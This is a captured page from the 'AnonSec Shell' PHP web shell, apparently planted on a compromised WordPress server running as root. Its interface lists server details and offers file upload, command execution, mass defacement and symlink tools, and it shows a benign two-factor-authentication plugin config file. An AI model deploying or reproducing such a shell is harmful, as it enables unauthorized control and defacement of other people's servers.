AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.138.68.71   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/mu-plugins/vendor/wpsec/wp-2fa-plugin/src/Config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/mu-plugins/vendor/wpsec/wp-2fa-plugin/src/Config/Services.php
<?php

namespace Wpsec\twofa\Config;


use Wpsec\twofa\API\TwoFactorApiClient;
use Wpsec\twofa\Services\GoogleAuthenticatorService;
use Wpsec\twofa\Services\LoginService;
use Wpsec\twofa\Services\MailAuthService;
use Wpsec\twofa\Services\TwoFactorAuthService;
use Wpsec\twofa\Services\UserService;
use Wpsec\twofa\Services\YubikeyAuthService;

class Services {

	public static function get_services() {

		$services = array();

		$services['two_factor_auth_service'] = function () {
			return new TwoFactorAuthService();
		};

		$services['two_factor_api_client'] = function () {
			return new TwoFactorApiClient();
		};

		$services['mail_auth_service'] = function ( $container ) {
			return new MailAuthService( $container['two_factor_auth_service'], $container['two_factor_api_client'] );
		};

		$services['google_auth_service'] = function ( $container ) {
			return new GoogleAuthenticatorService( $container['two_factor_auth_service'], $container['two_factor_api_client'] );
		};

		$services['yubikey_auth_service'] = function ( $container ) {
			return new YubikeyAuthService( $container['two_factor_auth_service'], $container['two_factor_api_client'] );
		};

		$services['user_service'] = function ( $container ) {
			return new UserService( $container['two_factor_auth_service'], $container['two_factor_api_client'] );
		};

		$services['login_service'] = function( $container ) {
			return new LoginService(
				$container['yubikey_auth_service'],
				$container['google_auth_service'],
				$container['mail_auth_service'],
				$container['two_factor_auth_service'],
				WPSEC_WP_2FA_VERSION
			);
		};

		return $services;
	}
}

Anon7 - 2022
AnonSec Team